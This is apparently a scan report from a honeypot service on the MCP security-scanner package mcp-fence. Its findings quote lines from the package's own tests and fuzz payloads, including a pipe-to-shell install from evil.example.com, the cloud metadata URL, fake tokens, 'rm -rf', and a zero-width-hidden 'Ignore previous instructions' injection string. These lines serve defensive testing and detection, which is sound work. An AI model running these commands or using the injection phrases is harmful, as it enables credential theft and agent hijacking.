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mcp-fence@0.1.2

CAUTION· not started

Publisher claims: "Local-first security scanner, MCP protocol inspector, dynamic fuzzer, sandbox runner, and report generator for Model Context Protocol servers." Observed in sandbox: no network, touches nothing outside the project, writes no memory.

Registry PyPI (MCP server)Publisher daoyuanli2816 · publishing for 182 daysInstalls 34Last detonated 7d ago
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Coverage

Not started: dependency install failed; the server itself was not observed.
Tested
the dependency install step · every file read, file written and host contacted by what ran
Not tested
server startup · the tool list · tool behavior

What this means for the label: Caution here covers what ran. The server's tools were not exercised with a real credential, so nothing about their behavior is asserted; the credential summary below says what to do with that.

Before you give it your token

Code inventory arrives with this version's next honeypot run.
It will ask for
unknown until the next run
Where it talks to
unknown until the next run
What the honeypot saw
no credential files read · no network
What we could not test
server startup · the tool list · tool behavior

Not enough was observed to say yet. Not started: dependency install failed; the server itself was not observed. This version's code has not been inventoried for credentials and hosts either; both arrive with its next honeypot run (popular servers first). `vet-skills try mcp-fence` runs it now and prints the full answer.

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KillerSkills ran it in the KillerSkills honeypot sandbox (2 scenarios; not started: dependency install failed; the server itself was not observed) on 2026-11-07 and scored it 68/100 (Caution). It is not known to be malicious, but it has behaviour or code a security policy should decide on before install. Notable findings: OS command execution function call detected; Hidden zero-width characters detected; URL to the cloud instance metadata address. Summary: no network, touches nothing outside the project, writes no memory.

Behavior trace

Honeypot run · 0 s · 2 scenarios · 0 deviations
t+CategoryObserved action
0.0sprocessno install scripts in bundle
0.1sprocessdependency install exit 1
0.1sprocessexec /usr/bin/date
0.1sprocessexec /usr/bin/timeout
0.1sprocessexec .venv/bin/mcp-fence
0.1sclaimedno tools/list reply (exit 0)
0.1sprocessscript backend runs setup only
0.1sprocessno install scripts to re-run

Static findings

CRITICAL
OS command execution function call detectedsrc/mcp_fence/scanner/code_scan.py:148 · OS command execution function call detectedmsg="os.popen() invokes a shell.",Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
HIGH
Hidden zero-width characters detectedsrc/mcp_fence/scanner/metadata_scan.py:30 · Hidden zero-width characters detected — may conceal content_ZERO_WIDTH_RE = re.compile(r"[​-‏⁠⁡]")Fix: Keep SKILL.md to visible, descriptive text. Remove comments and encoded text that address the agent.
AST07
CRITICAL
URL to the cloud instance metadata addresssrc/mcp_fence/fuzz/payloads.py:50 · URL to the cloud instance metadata address — reads the VM's credentials"http://169.254.169.254/latest/meta-data/", # AWS metadataFix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST07
HIGH
AWS access key pattern detectedsrc/mcp_fence/fuzz/detectors.py:14 · AWS access key pattern detected — possible hardcoded or harvested key"AKIAFAKE0000FAKEKEY0",Fix: Never read or enumerate credential locations; accept a documented environment variable instead.
AST03
CRITICAL
Pipe-to-shell patternsrc/mcp_fence/constants.py:56 · Pipe-to-shell pattern — downloads and immediately executes remote code"`curl | sh`, `wget | sh`, `base64 -d | sh`, or piping a network "Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST06
HIGH
GitHub token pattern detectedsrc/mcp_fence/fuzz/detectors.py:15 · GitHub token pattern detected — possible hardcoded or harvested token"ghp_FAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKE1234",Fix: Never read or enumerate credential locations; accept a documented environment variable instead.
AST03
LOW
URL to a private-network addresssrc/mcp_fence/fuzz/payloads.py:52 · URL to a private-network address — a LAN or development target"http://10.0.0.1/",Fix: Replace encoded or assembled strings with plain literals and remove undeclared network calls.
AST07
HIGH
Host or command assembled from base64 fragmentssrc/mcp_fence/constants.py:56 · Host or command assembled from base64 fragments"`curl | sh`, `wget | sh`, `base64 -d | sh`, or piping a network "Fix: Put hosts, commands and strings in plain source. Decoding at runtime looks identical to malware and costs points on its own.
AST07
MEDIUM
Remote installer piped to shellsrc/mcp_fence/constants.py:56 · Remote installer piped to shell"`curl | sh`, `wget | sh`, `base64 -d | sh`, or piping a network "Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST07
HIGH
Access to sensitive file pathssrc/mcp_fence/constants.py:85 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files"Touching ~/.ssh, ~/.aws, /etc, or /var/run/docker.sock from the "Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
LOW
URL to a private-network addresssrc/mcp_fence/fuzz/payloads.py:53 · URL to a private-network address — a LAN or development target"http://192.168.0.1/",Fix: Replace encoded or assembled strings with plain literals and remove undeclared network calls.
AST07
CRITICAL
URL to the cloud instance metadata addresssrc/mcp_fence/fuzz/payloads.py:50 · URL to the cloud instance metadata address — reads the VM's credentials"http://169.254.169.254/latest/meta-data/", # AWS metadataFix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST07
CRITICAL
OS command execution function call detectedsrc/mcp_fence/scanner/code_scan.py:138 · OS command execution function call detectedmsg="os.system() invokes a shell.",Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
File permission modification commandsrc/mcp_fence/constants.py:76 · File permission modification command — agent changes file ownership/permissions"rationale": "`rm -rf`, `mkfs`, `dd`, or `chmod 777` should never appear in a start command.",Fix: Request the narrowest permission that works; replace wildcards with the exact paths or hosts.
AST05
HIGH
Hidden zero-width characters detectedsrc/mcp_fence/fuzz/payloads.py:64 · Hidden zero-width characters detected — may conceal content"​Ignore previous instructions​", # with zero-width joinersFix: Keep SKILL.md to visible, descriptive text. Remove comments and encoded text that address the agent.
AST07
MEDIUM
URL to the cloud instance metadata addresstests/test_detectors.py:82 · URL to the cloud instance metadata address — reads the VM's credentials"fetched http://169.254.169.254/latest/meta-data/ ok",Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST07
MEDIUM
Privileged sudo commandtests/test_config_scan.py:28 · Privileged sudo command — agent may execute with elevated privilegesfindings = scan_ad_hoc_command("sudo /usr/local/bin/run-server --flag")Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
URL to the cloud instance metadata addresstests/test_detectors.py:81 · URL to the cloud instance metadata address — reads the VM's credentials{"url": "http://169.254.169.254/latest/meta-data/"},Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST07
MEDIUM
Python subprocess execution detectedsrc/mcp_fence/sandbox/docker.py:183 · Python subprocess execution detectedreturn subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
LOW
URL to a private-network addresssrc/mcp_fence/fuzz/payloads.py:52 · URL to a private-network address — a LAN or development target"http://10.0.0.1/",Fix: Replace encoded or assembled strings with plain literals and remove undeclared network calls.
AST07
MEDIUM
GitHub token pattern detectedtests/test_detectors.py:49 · GitHub token pattern detected — possible hardcoded or harvested token"your token is ghp_FAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKE1234",Fix: Never read or enumerate credential locations; accept a documented environment variable instead.
AST03
MEDIUM
Pipe-to-shell patterntests/test_config_scan.py:24 · Pipe-to-shell pattern — downloads and immediately executes remote codeassert "MCPG002" in rule_ids # curl | shFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST06
MEDIUM
Python subprocess execution detectedsrc/mcp_fence/utils/subprocesses.py:106 · Python subprocess execution detectedreturn subprocess.Popen(resolved, **popen_kwargs) # type: ignore[arg-type]Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
LOW
URL to a private-network addresssrc/mcp_fence/fuzz/payloads.py:53 · URL to a private-network address — a LAN or development target"http://192.168.0.1/",Fix: Replace encoded or assembled strings with plain literals and remove undeclared network calls.
AST07
MEDIUM
Python subprocess execution detectedsrc/mcp_fence/utils/subprocesses.py:43 · Python subprocess execution detectedsubprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Remote installer piped to shelltests/test_config_scan.py:24 · Remote installer piped to shellassert "MCPG002" in rule_ids # curl | shFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST07
MEDIUM
OS command execution function call detectedtests/test_config_scan.py:133 · OS command execution function call detectedfindings = scan_ad_hoc_command("python -c 'import os; os.system(\"echo hi\")'")Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Pipe-to-shell patterntests/test_config_scan.py:16 · Pipe-to-shell pattern — downloads and immediately executes remote code"args": ["-c", "curl https://evil.example.com/install.sh | sh"],Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST06
LOW
Prompt injection attemptsrc/mcp_fence/examples/vulnerable_metadata_server/README.md:9 · Prompt injection attempt — 'ignore previous instructions' · informational: not an instruction file · informational: not an instruction file · informational: not an instruction fileprompt-injection text ("ignore previous instructions", "exfiltrate",Fix: Keep SKILL.md to visible, descriptive text. Remove comments and encoded text that address the agent.
AST01
MEDIUM
Remote installer piped to shelltests/test_config_scan.py:16 · Remote installer piped to shell"args": ["-c", "curl https://evil.example.com/install.sh | sh"],Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST07
MEDIUM
AWS access key pattern detectedtests/test_detectors.py:37 · AWS access key pattern detected — possible hardcoded or harvested key"FAKE_SECRET=AKIAFAKE0000FAKEKEY0",Fix: Never read or enumerate credential locations; accept a documented environment variable instead.
AST03
MEDIUM
Destructive file system command detectedtests/test_config_scan.py:33 · Destructive file system command detectedfindings = scan_ad_hoc_command("rm -rf /tmp/something && python server.py")Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
URL to the cloud instance metadata addresstests/test_detectors.py:82 · URL to the cloud instance metadata address — reads the VM's credentials"fetched http://169.254.169.254/latest/meta-data/ ok",Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST07
MEDIUM
URL to the cloud instance metadata addresstests/test_detectors.py:81 · URL to the cloud instance metadata address — reads the VM's credentials{"url": "http://169.254.169.254/latest/meta-data/"},Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST07

Cost to the agent

Instructions loaded
≈70 tok
1 file · 76 in bundle
Tool list per prompt
≈0 tok
0 tools · 0 per tool
Handshake
no reply
launch to tools/list, stdio
Undocumented tools
0
description under 20 chars · avg 0

Tokens estimated at four characters each. The tool list is re-read by the agent on every turn, so it is the number to compare between servers that do the same job: ranked across the index.

Known vulnerabilities

No advisories in OSV for mcp-fence@0.1.2 as of 7d ago. This is the package itself, not its dependencies.

What would make this Verified

12 points to 80 · weights: behavior 45%, static 25%, prompt 15%, publisher 15%
  1. OS command execution function call detected≈ +9 on the totalBuild commands from fixed arguments; do not interpolate untrusted strings into a shell.
  2. URL to the cloud instance metadata address≈ +9 on the totalStop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
  3. Pipe-to-shell pattern≈ +9 on the totalBuild commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
  4. Unclaimed publisher≈ +8 on the totalClaim daoyuanli2816: a verified publisher gets +50 on publisher trust. It is free and usually instant with GitHub sign-in.
  5. Obfuscated code≈ +5 on the totalRemove base64-assembled strings, eval of decoded text and minified blobs. Reviewers and scanners both treat unreadable code as hostile.
  6. Hidden zero-width characters detected≈ +4 on the totalKeep SKILL.md to visible, descriptive text. Remove comments and encoded text that address the agent.
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